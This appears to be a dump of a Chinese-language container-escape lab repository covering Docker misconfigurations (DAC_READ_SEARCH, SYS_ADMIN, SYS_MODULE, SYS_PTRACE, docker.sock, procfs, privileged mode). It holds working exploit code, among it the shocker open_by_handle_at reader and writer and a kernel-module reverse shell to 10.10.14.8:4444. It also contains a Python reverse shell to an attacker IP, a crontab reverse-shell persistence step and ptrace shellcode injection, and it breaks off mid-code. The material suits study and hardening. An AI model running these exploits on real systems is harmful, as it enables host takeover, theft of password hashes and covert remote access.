drink secury-tea too! [***]\n\n\n"); 114 | read(0, buf, 1); 115 | // get a FS reference from something mounted in from outside 116 | if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) 117 | die("[-] open"); 118 | if (find_handle(fd1, argv[1], & root_h, & h) <= 0) 119 | die("[-] Cannot find valid handle!"); 120 | fprintf(stderr, "[!] Got a final handle!\n"); 121 | dump_handle( & h); 122 | if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) 123 | die("[-] open_by_handle"); 124 | char * line = NULL; 125 | size_t len = 0; 126 | FILE * fptr; 127 | ssize_t read; 128 | fptr = fopen(argv[2], "r"); 129 | while ((read = getline( & line, & len, fptr)) != -1) { 130 | write(fd2, line, read); 131 | } 132 | printf("Success!!\n"); 133 | close(fd2); 134 | close(fd1); 135 | return 0; 136 | } -------------------------------------------------------------------------------- /misconfig/DAC override/writeup.md: -------------------------------------------------------------------------------- 1 | # DAC override writeup 2 | 3 | ## Env 4 | - Ubuntu 23.10 x86_64 5 | - AMD Ryzen 5 5600X (4) @ 3.700GH 6 | - 16GB 7 | ``` 8 | Client: Docker Engine - Community 9 | Version: 26.0.0 10 | API version: 1.45 11 | Go version: go1.21.8 12 | Git commit: 2ae903e 13 | Built: Wed Mar 20 15:17:56 2024 14 | OS/Arch: linux/amd64 15 | Context: default 16 | 17 | Server: Docker Engine - Community 18 | Engine: 19 | Version: 26.0.0 20 | API version: 1.45 (minimum version 1.24) 21 | Go version: go1.21.8 22 | Git commit: 8b79278 23 | Built: Wed Mar 20 15:17:56 2024 24 | OS/Arch: linux/amd64 25 | Experimental: false 26 | containerd: 27 | Version: 1.6.28 28 | GitCommit: ae07eda36dd25f8a1b98dfbf587313b99c0190bb 29 | runc: 30 | Version: 1.1.12 31 | GitCommit: v1.1.12-0-g51d5e94 32 | docker-init: 33 | Version: 0.19.0 34 | GitCommit: de40ad0 35 | ``` 36 | 37 | Host上有一个`secret.txt`,内容为: 38 | ``` 39 | Simply a file from the host 40 | ``` 41 | 42 | 43 | ## Steps 44 | 45 | 创建容器 46 | ```shell 47 | sudo docker run -it --rm --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=CHOWN --cap-add=SETGID --cap-add=SETUID --cap-add=FOWNER --name=DAC ubuntu bash 48 | ``` 49 | 50 | 编译exp 51 | ```shell 52 | gcc -o read shocker.c 53 | gcc -o write shocker_write.c 54 | ``` 55 | 56 | cp进二进制文件 57 | ```shell 58 | sudo docker cp ./read DAC:/read 59 | sudo docker cp ./write DAC:/write 60 | ``` 61 | 62 | 进入容器 63 | ```shell 64 | sudo docker -exec -itd DAC /bin/bash 65 | ``` 66 | 67 | 尝试读取host上的secret文件: 68 | ```shell 69 | ./read "/home/ebpf/container-escape-exploits/misconfig/DAC override/secret.txt" "sec.txt" 70 | ``` 71 | 72 | 运行完成 73 | ![OgdvMX.png](https://ooo.0x0.ooo/2024/03/26/OgdvMX.png) 74 | 75 | 读取文件内容在`sec.txt`内 76 | 77 | ![Ogdy7t.png](https://ooo.0x0.ooo/2024/03/26/Ogdy7t.png) 78 | 79 | 尝试写入secret文件. 容器内有一个`pad.txt`文件: 80 | ``` 81 | Hacked! 82 | ``` 83 | 84 | ```shell 85 | ./write "/home/ebpf/container-escape-exploits/misconfig/DAC override/secret.txt" "pad.txt" 86 | ``` 87 | 88 | ![OgdmXj.png](https://ooo.0x0.ooo/2024/03/26/OgdmXj.png) 89 | 90 | 写入成功 91 | 92 | ![OgdPPU.png](https://ooo.0x0.ooo/2024/03/26/OgdPPU.png) 93 | 94 | ## Shell 95 | 96 | ```shell 97 | ./read "/etc/passwd" "sec.txt" 98 | ./write "/home/ubuntu/container-escape-exploits/misconfig/DAC override/secrect.txt" "pad.txt" 99 | ``` -------------------------------------------------------------------------------- /misconfig/SYS_ADMIN/README.md: -------------------------------------------------------------------------------- 1 | # SYS_ADMIN abuse 2 | ## Description 3 | See: https://www.panoptica.app/research/7-ways-to-escape-a-container 4 | 5 | Also: https://www.freebuf.com/vuls/264843.html 6 | ## Usage 7 | 8 | 创建漏洞容器 9 | 10 | ```bash 11 | docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --device=/dev/:/ ubuntu bash 12 | ``` 13 | 14 | 操作流程 15 | 16 | ```bash 17 | mount /dev/ /mnt 18 | ls /mnt 19 | ``` 20 | -------------------------------------------------------------------------------- /misconfig/SYS_ADMIN/writeup.md: -------------------------------------------------------------------------------- 1 | # SYS_ADMIN abuse 2 | ## env 3 | 4 | ## steps 5 | 创建容器 6 | 7 | ```shell 8 | sudo docker run -itd --rm --cap-drop=ALL --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --device=/dev/:/ --name=admin ubuntu /bin/bash 9 | ``` 10 | 11 | 发现host内的设备已经被挂载到容器内 12 | 13 | ![OgsFsq.png](https://ooo.0x0.ooo/2024/03/26/OgsFsq.png) 14 | 15 | 创建挂载文件夹 16 | ```shell 17 | mkdir -p aus 18 | ``` 19 | 20 | ![Ogsiac.png](https://ooo.0x0.ooo/2024/03/26/Ogsiac.png) 21 | 选取挂载点为`/`的设备挂载(sda2) 22 | 23 | ```shell 24 | mount sda2 /aus 25 | ``` 26 | 27 | 获取到host的文件 28 | 29 | ```shell 30 | ls /aus 31 | ``` 32 | ![Ogsner.png](https://ooo.0x0.ooo/2024/03/26/Ogsner.png) -------------------------------------------------------------------------------- /misconfig/SYS_MODULE/Makefile: -------------------------------------------------------------------------------- 1 | obj-m +=reverse-shell.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -------------------------------------------------------------------------------- /misconfig/SYS_MODULE/README.md: -------------------------------------------------------------------------------- 1 | # SYS_MODULE abuse 2 | ## Description 3 | 当容器以cap_sys_module功能运行时,它可以将内核模块注入主机的运行内核,因为隔离是在操作系统级别而不是内核/硬件级别完成的,容器最终使用docker运行时引擎与主机机器内核进行交互。在这个实验室中,您会发现容器正在运行额外的cap_sys_module功能,当您使用默认参数启动容器时,该功能不会正常添加 4 | 5 | ## Usage 6 | 7 | 创建容器 8 | 9 | ```bash 10 | docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu: bash 11 | docker run -it --cap-drop=ALL --cap-add=SYS_MODULE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu: bash 12 | ``` 13 | 14 | 在容器内安装依赖 15 | 16 | ```bash 17 | apt install make 18 | apt install -y vim # or any other editor 19 | apt install -y netcat 20 | apt install -y gcc 21 | # Container should run with the same operating system version as the host. 22 | # Get the kernel version by ‘uname -r’ 23 | version=$(uname -r) 24 | apt install -y linux-headers-$version 25 | apt install -y kmod 26 | apt install net-tools 27 | ``` 28 | 29 | 逃逸方式 30 | ```bash 31 | # Get the IP address of the container 32 | ifconfig 33 | # Copy the revese-shell.c and update the IP address in the code with the IP of the container 34 | vim reverse-shell.c 35 | # Copy the Makefile 36 | vim Makefile 37 | make 38 | nc -lnvp 4444 & 39 | # Inject the module into the kernel’s host 40 | insmod reverse-shell.ko 41 | fg % 42 | ``` -------------------------------------------------------------------------------- /misconfig/SYS_MODULE/reverse-shell.c: -------------------------------------------------------------------------------- 1 | /* 2 | From: https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module 3 | */ 4 | #include 5 | #include 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("AttackDefense"); 8 | MODULE_DESCRIPTION("LKM reverse shell module"); 9 | MODULE_VERSION("1.0"); 10 | 11 | char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL}; 12 | static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; 13 | 14 | // call_usermodehelper function is used to create user mode processes from kernel space 15 | static int __init reverse_shell_init(void) { 16 | return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); 17 | } 18 | 19 | static void __exit reverse_shell_exit(void) { 20 | printk(KERN_INFO "Exiting\n"); 21 | } 22 | 23 | module_init(reverse_shell_init); 24 | module_exit(reverse_shell_exit); -------------------------------------------------------------------------------- /misconfig/mount host etc/README.md: -------------------------------------------------------------------------------- 1 | # Reading secrects from the host 2 | From:https://www.panoptica.app/research/7-ways-to-escape-a-container 3 | 4 | ## Description 5 | DAC_READ_SEARCH功能允许绕过文件或目录读取权限检查,并使用“open_by_handle_at”系统调用来读取它。此系统调用允许遍历整个主机的文件系统。在这个容器转义技术中,我们将使用“open_by_handle_at”系统调用执行从主机读取/etc/passwd和/etc/sahdow文件的代码,并将其内容保存在容器中。接下来,我们将使用“John the Ripper”密码破解器来获取主机用户的密码,该密码可用于与主机的SSH连接。 6 | 7 | ## Usage 8 | 搭建环境 9 | ```bash 10 | sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu bash 11 | ``` 12 | 利用 13 | ```bash 14 | # Copy the shocker.c content 15 | vim shocker.c 16 | gcc -o shocker shocker.c 17 | # Use the shocker to read files from host:./shocker /host/path /container/path 18 | ./shocker /etc/passwd passwd 19 | ./shocker /etc/shadow shadow 20 | ``` -------------------------------------------------------------------------------- /misconfig/mount host etc/shoker.c: -------------------------------------------------------------------------------- 1 | /* From https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_search 2 | */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | // gcc shocker.c -o shocker 15 | // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir 16 | 17 | struct my_file_handle { 18 | unsigned int handle_bytes; 19 | int handle_type; 20 | unsigned char f_handle[8]; 21 | }; 22 | 23 | void die(const char *msg) 24 | { 25 | perror(msg); 26 | exit(errno); 27 | } 28 | 29 | void dump_handle(const struct my_file_handle *h) 30 | { 31 | fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, 32 | h->handle_type); 33 | for (int i = 0; i < h->handle_bytes; ++i) { 34 | fprintf(stderr,"0x%02x", h->f_handle[i]); 35 | if ((i + 1) % 20 == 0) 36 | fprintf(stderr,"\n"); 37 | if (i < h->handle_bytes - 1) 38 | fprintf(stderr,", "); 39 | } 40 | fprintf(stderr,"};\n"); 41 | } 42 | 43 | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle 44 | *oh) 45 | { 46 | int fd; 47 | uint32_t ino = 0; 48 | struct my_file_handle outh = { 49 | .handle_bytes = 8, 50 | .handle_type = 1 51 | }; 52 | DIR *dir = NULL; 53 | struct dirent *de = NULL; 54 | path = strchr(path, '/'); 55 | // recursion stops if path has been resolved 56 | if (!path) { 57 | memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); 58 | oh->handle_type = 1; 59 | oh->handle_bytes = 8; 60 | return 1; 61 | } 62 | 63 | ++path; 64 | fprintf(stderr, "[*] Resolving '%s'\n", path); 65 | if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) 66 | die("[-] open_by_handle_at"); 67 | if ((dir = fdopendir(fd)) == NULL) 68 | die("[-] fdopendir"); 69 | for (;;) { 70 | de = readdir(dir); 71 | if (!de) 72 | break; 73 | fprintf(stderr, "[*] Found %s\n", de->d_name); 74 | if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { 75 | fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); 76 | ino = de->d_ino; 77 | break; 78 | } 79 | } 80 | 81 | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); 82 | if (de) { 83 | for (uint32_t i = 0; i < 0xffffffff; ++i) { 84 | outh.handle_bytes = 8; 85 | outh.handle_type = 1; 86 | memcpy(outh.f_handle, &ino, sizeof(ino)); 87 | memcpy(outh.f_handle + 4, &i, sizeof(i)); 88 | if ((i % (1<<20)) == 0) 89 | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); 90 | if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { 91 | closedir(dir); 92 | close(fd); 93 | dump_handle(&outh); 94 | return find_handle(bfd, path, &outh, oh); 95 | } 96 | } 97 | } 98 | closedir(dir); 99 | close(fd); 100 | return 0; 101 | } 102 | 103 | 104 | int main(int argc,char* argv[] ) 105 | { 106 | char buf[0x1000]; 107 | int fd1, fd2; 108 | struct my_file_handle h; 109 | struct my_file_handle root_h = { 110 | .handle_bytes = 8, 111 | .handle_type = 1, 112 | .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} 113 | }; 114 | 115 | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" 116 | "[***] The tea from the 90's kicks your sekurity again. [***]\n" 117 | "[***] If you have pending sec consulting, I'll happily [***]\n" 118 | "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); 119 | 120 | read(0, buf, 1); 121 | 122 | // get a FS reference from something mounted in from outside 123 | if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0) 124 | die("[-] open"); 125 | 126 | if (find_handle(fd1, argv[1], &root_h, &h) <= 0) 127 | die("[-] Cannot find valid handle!"); 128 | 129 | fprintf(stderr, "[!] Got a final handle!\n"); 130 | dump_handle(&h); 131 | 132 | if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) 133 | die("[-] open_by_handle"); 134 | 135 | memset(buf, 0, sizeof(buf)); 136 | if (read(fd2, buf, sizeof(buf) - 1) < 0) 137 | die("[-] read"); 138 | 139 | printf("Success!!\n"); 140 | 141 | FILE *fptr; 142 | fptr = fopen(argv[2], "w"); 143 | fprintf(fptr,"%s", buf); 144 | fclose(fptr); 145 | 146 | close(fd2); close(fd1); 147 | 148 | return 0; 149 | } -------------------------------------------------------------------------------- /misconfig/mount host etc/writeup.md: -------------------------------------------------------------------------------- 1 | # Read secret from the host 2 | ## Env 3 | - Ubuntu 23.10 x86_64 4 | - AMD Ryzen 5 5600X (4) @ 3.700GH 5 | - 16GB 6 | ``` 7 | Client: Docker Engine - Community 8 | Version: 26.0.0 9 | API version: 1.45 10 | Go version: go1.21.8 11 | Git commit: 2ae903e 12 | Built: Wed Mar 20 15:17:56 2024 13 | OS/Arch: linux/amd64 14 | Context: default 15 | 16 | Server: Docker Engine - Community 17 | Engine: 18 | Version: 26.0.0 19 | API version: 1.45 (minimum version 1.24) 20 | Go version: go1.21.8 21 | Git commit: 8b79278 22 | Built: Wed Mar 20 15:17:56 2024 23 | OS/Arch: linux/amd64 24 | Experimental: false 25 | containerd: 26 | Version: 1.6.28 27 | GitCommit: ae07eda36dd25f8a1b98dfbf587313b99c0190bb 28 | runc: 29 | Version: 1.1.12 30 | GitCommit: v1.1.12-0-g51d5e94 31 | docker-init: 32 | Version: 0.19.0 33 | GitCommit: de40ad0 34 | ``` 35 | ## Steps 36 | 37 | 创建容器 38 | ```shell 39 | sudo docker run -itd --cap-drop=ALL --cap-add=DAC_READ_SEARCH --name=dac_read_search ubuntu bash 40 | ``` 41 | 42 | 其余同DAC override的read部分 43 | -------------------------------------------------------------------------------- /misconfig/mount sock abuse/README.md: -------------------------------------------------------------------------------- 1 | # Mount sock escape 2 | From:https://zhuanlan.zhihu.com/p/614513965 3 | ## Description 4 | 在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。 5 | 6 | Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker: 7 | ``` 8 | unix:///var/run/docker.sock 9 | tcp://host:port 10 | fd://socketfd 11 | ``` 12 | 13 | ## Usage 14 | 搭建漏洞容器 15 | ```bash 16 | docker pull ubuntu:16.04 17 | docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash 18 | ``` 19 | 在容器中安装docker 20 | ```bash 21 | apt-get update 22 | apt-get install docker.io 23 | ``` 24 | 用sock挂载宿主机目录 25 | ```bash 26 | docker -H unix://var/run/docker.sock images 27 | docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash 28 | ls /test 29 | ``` 30 | 31 | -------------------------------------------------------------------------------- /misconfig/mount sock abuse/writeup.md: -------------------------------------------------------------------------------- 1 | # Mount sock 2 | 搭建漏洞容器 3 | ```bash 4 | sudo docker run --rm -itd -v --name=mountsock /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash 5 | ``` 6 | 7 | 进入容器 8 | ```bash 9 | sudo docker exec -it mountsock /bin/bash 10 | ``` 11 | 12 | 在容器中安装docker 13 | ```bash 14 | apt-get update 15 | apt-get install docker.io 16 | ``` 17 | 18 | 用sock挂载宿主机目录,可以看到host上docker引擎的镜像列表 19 | ```bash 20 | docker -H unix://var/run/docker.sock images 21 | ``` 22 | ![Ogd2Ng.png](https://ooo.0x0.ooo/2024/03/26/Ogd2Ng.png) 23 | 24 | 用主机上的sock挂载主机上的目录进容器 25 | ```shell 26 | docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash 27 | ls /test 28 | ``` 29 | ![Ogd6EB.png](https://ooo.0x0.ooo/2024/03/26/Ogd6EB.png) -------------------------------------------------------------------------------- /misconfig/mount_host_procfs/.x.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | import pty 4 | import socket 5 | lhost = "attacker-ip"# 写入监听机器的IP 6 | lport = 10000 7 | def main(): 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | s.connect((lhost, lport)) 10 | os.dup2(s.fileno(), 0) 11 | os.dup2(s.fileno(), 1) 12 | os.dup2(s.fileno(), 2) 13 | os.putenv("HISTFILE", '/dev/null') 14 | pty.spawn("/bin/bash") 15 | os.remove('/tmp/.x.py') 16 | s.close() 17 | if __name__ == "__main__": 18 | main() -------------------------------------------------------------------------------- /misconfig/mount_host_procfs/README.md: -------------------------------------------------------------------------------- 1 | # mount procfs 2 | From: https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs 3 | 4 | Also: https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs 5 | ## Description 6 | procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(Docker默认情况下不会为容器开启User Namespace),一般来说我们不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来,procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,从2.6.19内核版本开始Linux支持在/proc/sys/kernel/core_pattern中使用新语法,如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行. 7 | 8 | ## Usage 9 | 10 | 使用metarget构建环境 11 | 12 | ```bash 13 | ./metarget gadget install docker --version 18.03.1 14 | ./metarget gadget install k8s --version 1.16.5 --domestic 15 | ./metarget cnv install mount-host-procfs 16 | ``` 17 | 利用: 18 | 19 | ```bash 20 | kubectl exec -it -n metarget mount-host-procfs /bin/bash 21 | ``` 22 | 23 | 在容器中,首先拿到当前容器在宿主机上的绝对路径: 24 | ``` 25 | root@mount-host-procfs:/# cat /proc/mounts | grep docker 26 | overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SDXPXVSYNB3RPWJYHAD5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/lib/docker/overlay2/l/SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/overlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/YYE5TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff,workdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/work 0 0 27 | ``` 28 | 从workdir可以得到基础路径,结合背景知识可知当前容器在宿主机上的merged目录绝对路径如下:`/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged` 29 | 30 | 向容器内`/host-proc/sys/kernel/core_pattern`内写入以下内容: 31 | ```shell 32 | echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern 33 | ``` 34 | 然后在容器内创建一个反弹shell的`/tmp/.x.py`,**注意需要写入攻击者的IP**: 35 | ```shell 36 | chmod +x /tmp/.x.py 37 | ``` 38 | 最后,在容器内运行一个可以崩溃的程序即可,例如: 39 | 40 | ```c 41 | #include 42 | int main(void) 43 | { 44 | int *a = NULL; 45 | *a = 1; 46 | return 0; 47 | } 48 | ``` 49 | 容器内若没有编译器,可以先在其他机器上编译好后放入容器中。 50 | 51 | 完成后,在其他机器上开启shell监听: 52 | ``` 53 | ncat -lvnp 10000 54 | ``` 55 | 接着在容器内执行上述编译好的崩溃程序,即可获得反弹shell。 56 | -------------------------------------------------------------------------------- /misconfig/mount_host_procfs/writeup.md: -------------------------------------------------------------------------------- 1 | # mount procfs 2 | ## Env 3 | - Ubuntu 23.10 x86_64 4 | - AMD Ryzen 5 5600X (4) @ 3.700GH 5 | - 16GB 6 | 7 | -------------------------------------------------------------------------------- /misconfig/mount_var_log_k8s/README.md: -------------------------------------------------------------------------------- 1 | # Kubernetes下危险挂载 2 | From:https://github.com/danielsagi/kube-pod-escape 3 | 4 | ## Description 5 | Ref: https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/ 6 | 7 | Or: https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-var-log 8 | 9 | 环境搭建(用metarget) 10 | 11 | ``` 12 | ./metarget gadget install docker --version 18.03.1 13 | ./metarget gadget install k8s --version 1.16.5 --domestic 14 | ``` 15 | 16 | ``` 17 | ./metarget cnv install mount-var-log 18 | ``` 19 | 20 | 漏洞复现 21 | 22 | ``` 23 | kubectl exec -it mount-var-log -n metarget bash 24 | ``` 25 | 26 | 在Pod内可执行以下两种命令: 27 | 28 | ``` 29 | lsh 等于宿主机上的ls 30 | cath 等于宿主机上的cat 31 | ``` -------------------------------------------------------------------------------- /misconfig/privileged container/README.md: -------------------------------------------------------------------------------- 1 | # Privileged container escape 2 | From: https://zhuanlan.zhihu.com/p/614513965 3 | ## Description 4 | 特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。 5 | 6 | ## Usage 7 | ```bash 8 | docker pull ubuntu 9 | docker run -itd --privileged ubuntu /bin/bash 10 | ``` 11 | 12 | 判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。 13 | 14 | ```bash 15 | cat /proc/self/status |grep Cap 16 | ``` 17 | 18 | 在docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。 19 | ```bash 20 | fdisk -l 21 | mkdir -p /hacker 22 | mount /dev/sda5 /hacker 23 | ``` 24 | 25 | 首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。 26 | 27 | ```bash 28 | touch /hacker/hacker.sh 29 | echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh 30 | echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab 31 | ``` 32 | -------------------------------------------------------------------------------- /misconfig/privileged container/writeup.md: -------------------------------------------------------------------------------- 1 | # Privileged container escape 2 | ## Env 3 | - Ubuntu 23.10 x86_64 4 | - AMD Ryzen 5 5600X (4) @ 3.700GH 5 | - 16GB 6 | 7 | ## Steps 8 | 设置漏洞容器 9 | ```shell 10 | sudo docker run -itd --name=privilege --privileged ubuntu /bin/bash 11 | ``` 12 | 13 | 进入容器并检查cap 14 | ```shell 15 | cat /proc/self/status |grep Cap 16 | ``` 17 | 18 | ![OgsbjU.png](https://ooo.0x0.ooo/2024/03/26/OgsbjU.png) 19 | 20 | 21 | 在主机上查看磁盘分区情况 22 | ``` shell 23 | df -h 24 | ``` 25 | ![OgsxUY.png](https://ooo.0x0.ooo/2024/03/26/OgsxUY.png) 26 | 创建挂载文件夹 27 | ```shell 28 | mkdir -p /hacker 29 | ``` 30 | 31 | 选取挂载点为`/`的设备挂载 32 | 33 | ```shell 34 | mount /dev/sda2 /hacker 35 | ``` 36 | 37 | 即可读写host中的文件 38 | ![Ogszyv.png](https://ooo.0x0.ooo/2024/03/26/Ogszyv.png) -------------------------------------------------------------------------------- /misconfig/process injection/README.md: -------------------------------------------------------------------------------- 1 | # Process injection 2 | From https://www.panoptica.app/research/7-ways-to-escape-a-container 3 | 4 | ## Description 5 | 进程注入允许一个进程写入另一个进程的内存空间并执行shellcode。要向主机中的进程注入shellcode,容器必须有两件事: 6 | 1. 容器的进程必须具有SYS_PTRACE Linux功能。 7 | 2. 容器的主机必须与容器共享其进程命名空间。 8 | 9 | 10 | 注入操作可能会失败,并可能导致不必要的行为。因此,为了避免这种情况,在转义技术中,我们将使用在主机上运行的Python http服务器作为目标进程,并将shellcode注入其内存。 11 | 12 | - 最低要求的Linux功能:SYS_PTRACE。 13 | - SYS_PTRACE功能允许执行“ptrace”系统调用。 14 | - 所需的容器设置:容器的主机应将其进程命名空间映射到容器。 15 | 16 | 可以通过在主机和容器上执行“lsns”命令来验证哪些Linux命名空间在主机和容器之间共享。 17 | 18 | ## Usage 19 | 创建一个漏洞容器 20 | ```bash 21 | docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu bash 22 | ``` 23 | 在容器内安装 24 | ```bash 25 | apt install vim # or any other editor 26 | apt install gcc 27 | apt install net-tools 28 | apt install netcat 29 | ``` 30 | 使用shellcode 31 | ```bash 32 | # List process that runs on the host and container. 33 | ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1 34 | # Copy and paste the payload from inject.c 35 | vim inject.c 36 | gcc -o inject inject.c 37 | # Inject the shellcode payload that will open a listener over port 5600 38 | ./inject 39 | # Bind over port 5600 40 | nc 5600 41 | ``` -------------------------------------------------------------------------------- /misconfig/process injection/infect.c: -------------------------------------------------------------------------------- 1 | /*From https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c*/ 2 | /* 3 | Mem Inject 4 | Copyright (c) 2016 picoFlamingo 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #include 32 | #include 33 | 34 | #define SHELLCODE_SIZE 87 35 | 36 | unsigned char *shellcode = 37 | "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"; 38 | 39 | 40 | int 41 | inject_data (pid_t pid, unsigned char *src, void *dst, int len) 42 | { 43 | int i; 44 | uint32_t *s = (uint32_t *) src; 45 | uint32_t *d = (uint32_t *) dst; 46 | 47 | for (i = 0; i < len; i+=4, s++, d++) 48 | { 49 | if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) 50 | { 51 | perror ("ptrace(POKETEXT):"); 52 | return -1; 53 | } 54 | } 55 | return 0; 56 | } 57 | 58 | int 59 | main (int argc, char *argv[]) 60 | { 61 | pid_t target; 62 | struct user_regs_struct regs; 63 | int syscall; 64 | long dst; 65 | 66 | if (argc != 2) 67 | { 68 | fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); 69 | exit (1); 70 | } 71 | target = atoi (argv[1]); 72 | printf ("+ Tracing process %d\n", target); 73 | 74 | if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) 75 | { 76 | perror ("ptrace(ATTACH):"); 77 | exit (1); 78 | } 79 | 80 | printf ("+ 